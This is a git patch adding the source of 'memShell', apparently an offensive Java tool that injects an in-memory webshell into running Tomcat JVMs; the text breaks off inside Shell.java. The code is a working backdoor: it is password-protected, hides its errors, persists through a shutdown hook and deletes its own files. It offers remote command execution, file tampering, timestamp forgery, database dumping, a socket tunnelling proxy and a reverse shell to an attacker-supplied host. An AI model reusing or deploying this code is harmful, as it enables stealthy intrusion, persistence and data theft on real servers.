From 7a5b6be999cea8b0aa579d195d68624c30592545 Mon Sep 17 00:00:00 2001 From: rebeyond <5929401@qq.com> Date: Wed, 23 May 2018 20:13:21 -0700 Subject: [PATCH] first commit --- .classpath | 22 ++ .fatjar | 14 + .project | 23 ++ .settings/org.eclipse.jdt.core.prefs | 12 + .settings/org.eclipse.m2e.core.prefs | 4 + pom.xml | 27 ++ src/META-INF/MANIFEST.MF | 3 + src/net/rebeyond/memshell/Agent.java | 240 ++++++++++++ src/net/rebeyond/memshell/Attach.java | 59 +++ src/net/rebeyond/memshell/Evaluate.java | 356 ++++++++++++++++++ src/net/rebeyond/memshell/Proxy.java | 109 ++++++ src/net/rebeyond/memshell/Shell.java | 290 ++++++++++++++ src/net/rebeyond/memshell/Transformer.java | 53 +++ .../rebeyond/memshell/redefine/MyRequest.java | 31 ++ .../memshell/redefine/MyResponse.java | 33 ++ .../memshell/redefine/MyServletContext.java | 8 + .../redefine/MyServletInputStream.java | 9 + .../redefine/MyServletOutputStream.java | 18 + .../rebeyond/memshell/redefine/MySession.java | 20 + src/other/forcedelete.exe | Bin 0 -> 30208 bytes src/source.txt | 92 +++++ 21 files changed, 1423 insertions(+) create mode 100644 .classpath create mode 100644 .fatjar create mode 100644 .project create mode 100644 .settings/org.eclipse.jdt.core.prefs create mode 100644 .settings/org.eclipse.m2e.core.prefs create mode 100644 pom.xml create mode 100644 src/META-INF/MANIFEST.MF create mode 100644 src/net/rebeyond/memshell/Agent.java create mode 100644 src/net/rebeyond/memshell/Attach.java create mode 100644 src/net/rebeyond/memshell/Evaluate.java create mode 100644 src/net/rebeyond/memshell/Proxy.java create mode 100644 src/net/rebeyond/memshell/Shell.java create mode 100644 src/net/rebeyond/memshell/Transformer.java create mode 100644 src/net/rebeyond/memshell/redefine/MyRequest.java create mode 100644 src/net/rebeyond/memshell/redefine/MyResponse.java create mode 100644 src/net/rebeyond/memshell/redefine/MyServletContext.java create mode 100644 src/net/rebeyond/memshell/redefine/MyServletInputStream.java create mode 100644 src/net/rebeyond/memshell/redefine/MyServletOutputStream.java create mode 100644 src/net/rebeyond/memshell/redefine/MySession.java create mode 100644 src/other/forcedelete.exe create mode 100644 src/source.txt diff --git a/.classpath b/.classpath new file mode 100644 index 0000000..de20f8a --- /dev/null +++ b/.classpath @@ -0,0 +1,22 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/.fatjar b/.fatjar new file mode 100644 index 0000000..800fad3 --- /dev/null +++ b/.fatjar @@ -0,0 +1,14 @@ +#Fat Jar Configuration File +#Wed May 23 12:38:25 CST 2018 +onejar.license.required=true +manifest.classpath= +manifest.removesigners=true +onejar.checkbox=false +jarname=E\:/agent.jar +manifest.mergeall=true +manifest.mainclass=Attach +manifest.file=src\\META-INF\\MANIFEST.MF +jarname.isextern=true +onejar.expand= +excludes=;;;;;;;;;;;;;;;;;;;;; +includes= diff --git a/.project b/.project new file mode 100644 index 0000000..366f029 --- /dev/null +++ b/.project @@ -0,0 +1,23 @@ + + + memShell + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.m2e.core.maven2Builder + + + + + + org.eclipse.m2e.core.maven2Nature + org.eclipse.jdt.core.javanature + + diff --git a/.settings/org.eclipse.jdt.core.prefs b/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..6428c68 --- /dev/null +++ b/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,12 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.debug.lineNumber=generate +org.eclipse.jdt.core.compiler.debug.localVariable=generate +org.eclipse.jdt.core.compiler.debug.sourceFile=generate +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.problem.forbiddenReference=warning +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/.settings/org.eclipse.m2e.core.prefs b/.settings/org.eclipse.m2e.core.prefs new file mode 100644 index 0000000..14b697b --- /dev/null +++ b/.settings/org.eclipse.m2e.core.prefs @@ -0,0 +1,4 @@ +activeProfiles= +eclipse.preferences.version=1 +resolveWorkspaceProjects=true +version=1 diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..aec6278 --- /dev/null +++ b/pom.xml @@ -0,0 +1,27 @@ + + 4.0.0 + ParaShell + ParaShell + 0.0.1-SNAPSHOT + + src + + + maven-compiler-plugin + 3.6.1 + + 1.6 + 1.6 + + + + + + + + org.javassist + javassist + 3.22.0-GA + + + \ No newline at end of file diff --git a/src/META-INF/MANIFEST.MF b/src/META-INF/MANIFEST.MF new file mode 100644 index 0000000..cee8f09 --- /dev/null +++ b/src/META-INF/MANIFEST.MF @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Agent-Class: net.rebeyond.memshell.Agent +Can-Retransform-Classes: true \ No newline at end of file diff --git a/src/net/rebeyond/memshell/Agent.java b/src/net/rebeyond/memshell/Agent.java new file mode 100644 index 0000000..ea4f04c --- /dev/null +++ b/src/net/rebeyond/memshell/Agent.java @@ -0,0 +1,240 @@ +package net.rebeyond.memshell; +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.lang.instrument.Instrumentation; +import java.lang.management.ManagementFactory; +import java.lang.management.RuntimeMXBean; +import java.net.HttpURLConnection; +import java.net.InetAddress; +import java.net.URL; +import java.util.Arrays; +import java.util.Set; + +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.management.Query; + +public class Agent { + public static String className = "org.apache.catalina.core.ApplicationFilterChain"; + public static byte[] injectFileBytes = new byte[] {}, agentFileBytes = new byte[] {}; + public static String currentPath; + public static String password = "rebeyond"; + + public static void agentmain(String agentArgs, Instrumentation inst) { + inst.addTransformer(new Transformer(), true); + if (agentArgs.indexOf("^") >= 0) { + Agent.currentPath = agentArgs.split("\\^")[0]; + Agent.password = agentArgs.split("\\^")[1]; + } else { + Agent.currentPath = agentArgs; + } + System.out.println("Agent Main Done"); + Class[] loadedClasses = inst.getAllLoadedClasses(); + for (Class c : loadedClasses) { + if (c.getName().equals(className)) { + try { + inst.retransformClasses(c); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + } + + try { + initLoad(); + readInjectFile(Agent.currentPath); + readAgentFile(Agent.currentPath); + clear(Agent.currentPath); + } catch (Exception e) { + // 为了隐蔽,不要打印异常信息 + } + Agent.persist(); + } + + public static void persist() { + try { + Thread t = new Thread() { + public void run() { + try { + writeFiles("inject.jar", Agent.injectFileBytes); + writeFiles("agent.jar", Agent.agentFileBytes); + startInject(); + } catch (Exception e) { + + } + } + }; + t.setName("shutdown Thread"); + Runtime.getRuntime().addShutdownHook(t); + } catch (Throwable t) { + + } + } + + public static void writeFiles(String fileName, byte[] data) throws Exception { + String tempFolder = System.getProperty("java.io.tmpdir"); + FileOutputStream fso = new FileOutputStream(tempFolder + File.separator + fileName); + fso.write(data); + fso.close(); + } + + public static void readInjectFile(String filePath) throws Exception { + String fileName = "inject.jar"; + File f = new File(filePath + File.separator + fileName); + if (!f.exists()) { + f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); + } + InputStream is = new FileInputStream(f); + byte[] bytes = new byte[1024 * 100]; + int num = 0; + while ((num = is.read(bytes)) != -1) { + injectFileBytes = mergeByteArray(injectFileBytes, Arrays.copyOfRange(bytes, 0, num)); + } + is.close(); + } + + public static void readAgentFile(String filePath) throws Exception { + String fileName = "agent.jar"; + File f = new File(filePath + File.separator + fileName); + if (!f.exists()) { + f = new File(System.getProperty("java.io.tmpdir") + File.separator + fileName); + } + InputStream is = new FileInputStream(f); + byte[] bytes = new byte[1024 * 100]; + int num = 0; + while ((num = is.read(bytes)) != -1) { + agentFileBytes = mergeByteArray(agentFileBytes, Arrays.copyOfRange(bytes, 0, num)); + } + is.close(); + } + + public static void startInject() throws Exception { + Thread.sleep(2000); + String tempFolder = System.getProperty("java.io.tmpdir"); + String cmd = "java -jar " + tempFolder + File.separator + "inject.jar " + Agent.password; + Runtime.getRuntime().exec(cmd); + } + + public static void main(String[] args) { + try { + readAgentFile("e:/"); + String tempPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); + + String agentFile = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath().substring(0, + tempPath.lastIndexOf("/")); + } catch (Exception e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + } + + static byte[] mergeByteArray(byte[]... byteArray) { + int totalLength = 0; + for (int i = 0; i < byteArray.length; i++) { + if (byteArray[i] == null) { + continue; + } + totalLength += byteArray[i].length; + } + + byte[] result = new byte[totalLength]; + int cur = 0; + for (int i = 0; i < byteArray.length; i++) { + if (byteArray[i] == null) { + continue; + } + System.arraycopy(byteArray[i], 0, result, cur, byteArray[i].length); + cur += byteArray[i].length; + } + + return result; + } + + public static void clear(String currentPath) throws Exception { + Thread clearThread = new Thread() { + String currentPath = Agent.currentPath; + + public void run() { + try { + Thread.sleep(5000); + String injectFile = currentPath + "inject.jar"; + String agentFile = currentPath + "agent.jar"; + new File(injectFile).getCanonicalFile().delete(); + String OS = System.getProperty("os.name").toLowerCase(); + if (OS.indexOf("windows") >= 0) { + try { + unlockFile(currentPath); + } catch (Exception e) { + //pass + } + } + new File(agentFile).delete(); + } catch (Exception e) { + //pass + } + } + }; + clearThread.start(); + + } + + public static void unlockFile(String currentPath) throws Exception { + String exePath = currentPath + "foreceDelete.exe"; + InputStream is = Agent.class.getClassLoader().getResourceAsStream("other/forcedelete.exe"); + FileOutputStream fos = new FileOutputStream(new File(exePath).getCanonicalPath()); + byte[] bytes = new byte[1024 * 100]; + int num = 0; + while ((num = is.read(bytes)) != -1) { + fos.write(bytes, 0, num); + fos.flush(); + } + fos.close(); + is.close(); + Process process = java.lang.Runtime.getRuntime().exec(exePath + " " + getCurrentPid()); + try { + process.waitFor(); + } catch (InterruptedException e) { + // TODO Auto-generated catch block + e.printStackTrace(); + } + new File(exePath).delete(); + } + + public static String getCurrentPid() { + RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean(); + return runtimeMXBean.getName().split("@")[0]; + } + + public static void initLoad() throws Exception { + MBeanServer beanServer = ManagementFactory.getPlatformMBeanServer(); + Set objectNames = beanServer.queryNames(new ObjectName("*:type=Connector,*"), + Query.match(Query.attr("protocol"), Query.value("HTTP/1.1"))); + String host = InetAddress.getLocalHost().getHostAddress(); + String port = objectNames.iterator().next().getKeyProperty("port"); + String url = "http" + "://" + host + ":" + port; + String[] models = new String[] { "model=exec&cmd=whoami", "model=proxy", "model=chopper", "model=list&path=.", + "model=urldownload&url=https://www.baidu.com/robots.txt&path=not_exist:/not_exist" }; + for (String model : models) { + String address = url + "/robots.txt?" + "pass_the_world=" + Agent.password + "&" + model; + openUrl(address); + } + } + + public static void openUrl(String address) throws Exception { + URL url = new URL(address); + HttpURLConnection urlcon = (HttpURLConnection) url.openConnection(); + urlcon.connect(); // 获取连接 + InputStream is = urlcon.getInputStream(); + BufferedReader buffer = new BufferedReader(new InputStreamReader(is)); + StringBuffer bs = new StringBuffer(); + String l = null; + while ((l = buffer.readLine()) != null) { + bs.append(l).append("/n"); + } + } +} \ No newline at end of file diff --git a/src/net/rebeyond/memshell/Attach.java b/src/net/rebeyond/memshell/Attach.java new file mode 100644 index 0000000..e292428 --- /dev/null +++ b/src/net/rebeyond/memshell/Attach.java @@ -0,0 +1,59 @@ +package net.rebeyond.memshell; +import java.io.File; +import java.util.List; + +import com.sun.tools.attach.VirtualMachine; +import com.sun.tools.attach.VirtualMachineDescriptor; + +public class Attach { + + public static void main(String[] args) throws Exception { + + if (args.length!=1) + { + System.out.println("Usage:java -jar inject.jar password"); + return; + } + VirtualMachine vm = null; + List listAfter = null; + List listBefore = null; + listBefore = VirtualMachine.list(); + String password=args[0]; + String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); + currentPath=currentPath.substring(0, currentPath.lastIndexOf("/") + 1); + String agentFile = currentPath + "agent.jar"; + agentFile = new File(agentFile).getCanonicalPath(); + String agentArgs=currentPath; + if (!password.equals("")||password!=null) + { + agentArgs=agentArgs+"^"+password; + } + + while (true) { + try { + listAfter = VirtualMachine.list(); + if (listAfter.size() <= 0) + continue; + for (VirtualMachineDescriptor vmd : listAfter) { + if (!listBefore.contains(vmd)) { + vm = VirtualMachine.attach(vmd); + listBefore.add(vmd); + System.out.println("[+]OK.i find a jvm."); + Thread.sleep(1000); + if (null != vm) { + vm.loadAgent(agentFile, agentArgs); + System.out.println("[+]memeShell is injected."); + vm.detach(); + return; + } + } + } + Thread.sleep(5000); + + } catch (Exception e) { + e.printStackTrace(); + } + } + + } +} \ No newline at end of file diff --git a/src/net/rebeyond/memshell/Evaluate.java b/src/net/rebeyond/memshell/Evaluate.java new file mode 100644 index 0000000..b7db277 --- /dev/null +++ b/src/net/rebeyond/memshell/Evaluate.java @@ -0,0 +1,356 @@ +package net.rebeyond.memshell; + + +import java.io.BufferedInputStream; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.net.HttpURLConnection; +import java.net.URL; +import java.sql.Connection; +import java.sql.DriverManager; +import java.sql.ResultSet; +import java.sql.ResultSetMetaData; +import java.sql.Statement; +import java.text.SimpleDateFormat; + + +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import net.rebeyond.memshell.redefine.MyRequest; +import net.rebeyond.memshell.redefine.MyResponse; +import net.rebeyond.memshell.redefine.MyServletContext; +import net.rebeyond.memshell.redefine.MyServletOutputStream; + +public class Evaluate { + + private static final long serialVersionUID = 1L; + + String Pwd = "023"; + String cs = "UTF-8"; + + String EC(String s) throws Exception { + return new String(s.getBytes("ISO-8859-1"),cs); + } + + Connection GC(String s) throws Exception { + String[] x = s.trim().split("\r\n"); + Class.forName(x[0].trim()); + if(x[1].indexOf("jdbc:oracle")!=-1){ + return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]); + }else{ + Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]); + if (x.length > 4) { + c.setCatalog(x[4]); + } + return c; + } + } + + void AA(StringBuffer sb) throws Exception { + File r[] = File.listRoots(); + for (int i = 0; i < r.length; i++) { + sb.append(r[i].toString().substring(0, 2)); + } + } + + void BB(String s, StringBuffer sb) throws Exception { + File oF = new File(s), l[] = oF.listFiles(); + String sT, sQ, sF = ""; + java.util.Date dt; + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + for (int i = 0; i < l.length; i++) { + dt = new java.util.Date(l[i].lastModified()); + sT = fm.format(dt); + sQ = l[i].canRead() ? "R" : ""; + sQ += l[i].canWrite() ? " W" : ""; + if (l[i].isDirectory()) { + sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n"); + } else { + sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n"; + } + } + sb.append(sF); + } + + void EE(String s) throws Exception { + File f = new File(s); + if (f.isDirectory()) { + File x[] = f.listFiles(); + for (int k = 0; k < x.length; k++) { + if (!x[k].delete()) { + EE(x[k].getPath()); + } + } + } + f.delete(); + } + + void FF(String s, ServletResponse r) throws Exception { + int n; + byte[] b = new byte[512]; + //r.reset(); + MyResponse.reset(r); + //ServletOutputStream os = r.getOutputStream(); + Object os = MyResponse.getOutputStream(r); + BufferedInputStream is = new BufferedInputStream(new FileInputStream(s)); + //os.write(("->" + "|").getBytes(), 0, 3); + MyServletOutputStream.write(os,("->" + "|").getBytes(), 0, 3); + while ((n = is.read(b, 0, 512)) != -1) { + MyServletOutputStream.write(os,b, 0, n); + } + MyServletOutputStream.write(os,("|" + "<-").getBytes(), 0, 3); + //os.close(); + MyServletOutputStream.close(os); + is.close(); + } + + void GG(String s, String d) throws Exception { + String h = "0123456789ABCDEF"; + File f = new File(s); + f.createNewFile(); + FileOutputStream os = new FileOutputStream(f); + for (int i = 0; i < d.length(); i += 2) { + os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); + } + os.close(); + } + + void HH(String s, String d) throws Exception { + File sf = new File(s), df = new File(d); + if (sf.isDirectory()) { + if (!df.exists()) { + df.mkdir(); + } + File z[] = sf.listFiles(); + for (int j = 0; j < z.length; j++) { + HH(s + "/" + z[j].getName(), d + "/" + z[j].getName()); + } + } else { + FileInputStream is = new FileInputStream(sf); + FileOutputStream os = new FileOutputStream(df); + int n; + byte[] b = new byte[512]; + while ((n = is.read(b, 0, 512)) != -1) { + os.write(b, 0, n); + } + is.close(); + os.close(); + } + } + + void II(String s, String d) throws Exception { + File sf = new File(s), df = new File(d); + sf.renameTo(df); + } + + void JJ(String s) throws Exception { + File f = new File(s); + f.mkdir(); + } + + void KK(String s, String t) throws Exception { + File f = new File(s); + SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + java.util.Date dt = fm.parse(t); + f.setLastModified(dt.getTime()); + } + + void LL(String s, String d) throws Exception { + URL u = new URL(s); + int n = 0; + FileOutputStream os = new FileOutputStream(d); + HttpURLConnection h = (HttpURLConnection) u.openConnection(); + InputStream is = h.getInputStream(); + byte[] b = new byte[512]; + while ((n = is.read(b)) != -1) { + os.write(b, 0, n); + } + os.close(); + is.close(); + h.disconnect(); + } + + void MM(InputStream is, StringBuffer sb) throws Exception { + String l; + BufferedReader br = new BufferedReader(new InputStreamReader(is)); + while ((l = br.readLine()) != null) { + sb.append(l + "\r\n"); + } + } + + void NN(String s, StringBuffer sb) throws Exception { + Connection c = GC(s); + ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs(); + while (r.next()) { + sb.append(r.getString(1) + "\t"); + } + r.close(); + c.close(); + } + + void OO(String s, StringBuffer sb) throws Exception { + Connection c = GC(s); + String[] x = s.trim().split("\r\n"); + ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"}); + while (r.next()) { + sb.append(r.getString("TABLE_NAME") + "\t"); + } + r.close(); + c.close(); + } + + void PP(String s, StringBuffer sb) throws Exception { + String[] x = s.trim().split("\r\n"); + Connection c = GC(s); + Statement m = c.createStatement(1005, 1007); + ResultSet r = m.executeQuery("select * from " + x[x.length-1]); + ResultSetMetaData d = r.getMetaData(); + for (int i = 1; i <= d.getColumnCount(); i++) { + sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t"); + } + r.close(); + m.close(); + c.close(); + } + + void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception { + Connection c = GC(s); + Statement m = c.createStatement(1005, 1008); + BufferedWriter bw = null; + try { + ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q); + ResultSetMetaData d = r.getMetaData(); + int n = d.getColumnCount(); + for (int i = 1; i <= n; i++) { + sb.append(d.getColumnName(i) + "\t|\t"); + } + sb.append("\r\n"); + if(q.indexOf("--f:")!=-1){ + File file = new File(p); + if(q.indexOf("-to:")==-1){ + file.mkdir(); + } + bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs)); + } + while (r.next()) { + for (int i = 1; i <= n; i++) { + if(q.indexOf("--f:")!=-1){ + bw.write(r.getObject(i)+""+"\t"); + bw.flush(); + }else{ + sb.append(r.getObject(i)+"" + "\t|\t"); + } + } + if(bw!=null){bw.newLine();} + sb.append("\r\n"); + } + r.close(); + if(bw!=null){bw.close();} + } catch (Exception e) { + sb.append("Result\t|\t\r\n"); + try { + m.executeUpdate(q); + sb.append("Execute Successfully!\t|\t\r\n"); + } catch (Exception ee) { + sb.append(ee.toString() + "\t|\t\r\n"); + } + } + m.close(); + c.close(); + } + + public void doGet(ServletRequest request, ServletResponse response) + throws Exception { + doPost(request, response); + } + + public void doPost(ServletRequest request, ServletResponse response)throws Exception { + //cs = request.getParameter("z0") != null ? request.getParameter("z0")+ "":cs; + cs = MyRequest.getParameter(request, "z0") != null ? MyRequest.getParameter(request, "z0") + "":cs; + //response.setContentType("text/html"); + //response.setCharacterEncoding(cs); + MyResponse.setContentType(response, "text/html"); + MyResponse.setCharacterEncoding(response,cs); + PrintWriter out = MyResponse.getWriter(response); + StringBuffer sb = new StringBuffer(""); + try { + String Z = EC(MyRequest.getParameter(request, Pwd) + ""); + String z1 = EC(MyRequest.getParameter(request, "z1") + ""); + String z2 = EC(MyRequest.getParameter(request, "z2") + ""); + sb.append("->" + "|"); + Object obj=MyRequest.getServletContext(request); + String s =MyServletContext.getRealPath(obj,"/"); + if (Z.equals("A")) { + sb.append(s + "\t"); + if (!s.substring(0, 1).equals("/")) { + AA(sb); + } + } else if (Z.equals("B")) { + BB(z1, sb); + } else if (Z.equals("C")) { + String l = ""; + BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); + while ((l = br.readLine()) != null) { + sb.append(l + "\r\n"); + } + br.close(); + } else if (Z.equals("D")) { + BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); + bw.write(z2); + bw.close(); + sb.append("1"); + } else if (Z.equals("E")) { + EE(z1); + sb.append("1"); + } else if (Z.equals("F")) { + FF(z1, response); + } else if (Z.equals("G")) { + GG(z1, z2); + sb.append("1"); + } else if (Z.equals("H")) { + HH(z1, z2); + sb.append("1"); + } else if (Z.equals("I")) { + II(z1, z2); + sb.append("1"); + } else if (Z.equals("J")) { + JJ(z1); + sb.append("1"); + } else if (Z.equals("K")) { + KK(z1, z2); + sb.append("1"); + } else if (Z.equals("L")) { + LL(z1, z2); + sb.append("1"); + } else if (Z.equals("M")) { + String[] c = { z1.substring(2), z1.substring(0, 2), z2 }; + Process p = Runtime.getRuntime().exec(c); + MM(p.getInputStream(), sb); + MM(p.getErrorStream(), sb); + } else if (Z.equals("N")) { + NN(z1, sb); + } else if (Z.equals("O")) { + OO(z1, sb); + } else if (Z.equals("P")) { + PP(z1, sb); + } else if (Z.equals("Q")) { + QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/"); + } + } catch (Exception e) { + sb.append("ERROR" + ":// " + e.toString()); + } + sb.append("|" + "<-"); + out.print(sb.toString()); + } + +} \ No newline at end of file diff --git a/src/net/rebeyond/memshell/Proxy.java b/src/net/rebeyond/memshell/Proxy.java new file mode 100644 index 0000000..8a0c4c2 --- /dev/null +++ b/src/net/rebeyond/memshell/Proxy.java @@ -0,0 +1,109 @@ +package net.rebeyond.memshell; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.UnknownHostException; +import java.nio.ByteBuffer; +import java.nio.channels.SocketChannel; + +import net.rebeyond.memshell.redefine.MyRequest; +import net.rebeyond.memshell.redefine.MyResponse; +import net.rebeyond.memshell.redefine.MyServletInputStream; +import net.rebeyond.memshell.redefine.MyServletOutputStream; +import net.rebeyond.memshell.redefine.MySession; + +public class Proxy { + public void doProxy(Object request, Object response) throws Exception { + Object httpSession = MyRequest.getSession(request); + String cmd = MyRequest.getHeader(request, "X-CMD"); + if (cmd != null) { + MyResponse.setHeader(response, "X-STATUS", "OK"); + if (cmd.compareTo("CONNECT") == 0) { + try { + String target = MyRequest.getHeader(request, "X-TARGET"); + int port = Integer.parseInt(MyRequest.getHeader(request, "X-PORT")); + SocketChannel socketChannel = SocketChannel.open(); + socketChannel.connect(new InetSocketAddress(target, port)); + socketChannel.configureBlocking(false); + MySession.setAttribute(httpSession, "socket", socketChannel); + MyResponse.setHeader(response, "X-STATUS", "OK"); + } catch (UnknownHostException e) { + System.out.println(e.getMessage()); + MyResponse.setHeader(response, "X-ERROR", e.getMessage()); + MyResponse.setHeader(response, "X-STATUS", "FAIL"); + } catch (IOException e) { + System.out.println(e.getMessage()); + MyResponse.setHeader(response, "X-ERROR", e.getMessage()); + MyResponse.setHeader(response, "X-STATUS", "FAIL"); + + } + } else if (cmd.compareTo("DISCONNECT") == 0) { + SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket"); + try { + socketChannel.socket().close(); + } catch (Exception ex) { + System.out.println(ex.getMessage()); + } + MySession.invalidate(httpSession); + } else if (cmd.compareTo("READ") == 0) { + SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket"); + try { + ByteBuffer buf = ByteBuffer.allocate(512); + int bytesRead = socketChannel.read(buf); + // ServletOutputStream so = response.getOutputStream(); + Object so = MyResponse.getOutputStream(response); + while (bytesRead > 0) { + // so.write(buf.array(),0,bytesRead); + // so.flush(); + MyServletOutputStream.write(so, buf.array(), 0, bytesRead); + MyServletOutputStream.flush(so); + buf.clear(); + bytesRead = socketChannel.read(buf); + } + // response.setHeader("X-STATUS", "OK"); + MyResponse.setHeader(response, "X-STATUS", "OK"); + // so.flush(); + // so.close(); + MyServletOutputStream.flush(so); + MyServletOutputStream.close(so); + + } catch (Exception e) { + System.out.println(e.getMessage()); + MyResponse.setHeader(response, "X-ERROR", e.getMessage()); + MyResponse.setHeader(response, "X-STATUS", "FAIL"); + // socketChannel.socket().close(); + } + + } else if (cmd.compareTo("FORWARD") == 0) { + SocketChannel socketChannel = (SocketChannel) MySession.getAttribute(httpSession, "socket"); + try { + + int readlen = MyRequest.getContentLength(request); + byte[] buff = new byte[readlen]; + // request.getInputStream().read(buff, 0, readlen); + Object ins = MyRequest.getInputStream(request); + MyServletInputStream.read(ins, buff, 0, readlen); + ByteBuffer buf = ByteBuffer.allocate(readlen); + buf.clear(); + buf.put(buff); + buf.flip(); + + while (buf.hasRemaining()) { + socketChannel.write(buf); + } + MyResponse.setHeader(response, "X-STATUS", "OK"); + // response.getOutputStream().close(); + + } catch (Exception e) { + System.out.println(e.getMessage()); + MyResponse.setHeader(response, "X-ERROR", e.getMessage()); + MyResponse.setHeader(response, "X-STATUS", "FAIL"); + socketChannel.socket().close(); + } + } + } else { + // PrintWriter o = response.getWriter(); + // out.print("Georg says, 'All seems fine'"); + MyResponse.getWriter(response).print("Georg says, 'All seems fine'"); + } + } +} diff --git a/src/net/rebeyond/memshell/Shell.java b/src/net/rebeyond/memshell/Shell.java new file mode 100644 index 0000000..c63c9c6 --- /dev/null +++ b/src/net/rebeyond/memshell/Shell.java @@ -0,0 +1,290 @@ +package net.rebeyond.memshell; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.FileReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.io.OutputStream; +import java.io.OutputStreamWriter; +import java.io.PrintWriter; +import java.lang.reflect.Method; +import java.net.HttpURLConnection; +import java.net.Socket; +import java.net.URL; +import java.net.URLConnection; +import java.security.cert.CertificateException; +import java.util.Base64; + +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSession; +import javax.net.ssl.TrustManager; +import javax.net.ssl.X509TrustManager; +import javax.security.cert.X509Certificate; +import javax.servlet.ServletContext; +import javax.servlet.ServletException; +import javax.servlet.ServletOutputStream; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; +import javax.servlet.http.HttpSession; + +public class Shell { + + public static String execute(String cmd) throws Exception { + String result = ""; + if (cmd != null && cmd.length() > 0) { + + Process p = Runtime.getRuntime().exec(cmd); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while (disr != null) { + result = result + disr + "\n"; + disr = dis.readLine(); + } + } + return result; + } + + public static String connectBack(String ip, String port) throws Exception { + class StreamConnector extends Thread { + InputStream sp; + OutputStream gh; + + StreamConnector(InputStream sp, OutputStream gh) { + this.sp = sp; + this.gh = gh; + } + + public void run() { + BufferedReader xp = null; + BufferedWriter ydg = null; + try { + xp = new BufferedReader(new InputStreamReader(this.sp)); + ydg = new BufferedWriter(new OutputStreamWriter(this.gh)); + char buffer[] = new char[8192]; + int length; + while ((length = xp.read(buffer, 0, buffer.length)) > 0) { + ydg.write(buffer, 0, length); + ydg.flush(); + } + } catch (Exception e) { + } + try { + if (xp != null) + xp.close(); + if (ydg != null) + ydg.close(); + } catch (Exception e) { + } + } + } + try { + String ShellPath; + if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { + ShellPath = new String("/bin/sh"); + } else { + ShellPath = new String("cmd.exe"); + } + + Socket socket = new Socket(ip, Integer.parseInt(port)); + Process process = Runtime.getRuntime().exec(ShellPath); + (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); + (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); + return "Successful!"; + } catch (Exception e) { + return e.getMessage(); + } + } + + public static String help() { + return "Webshell in 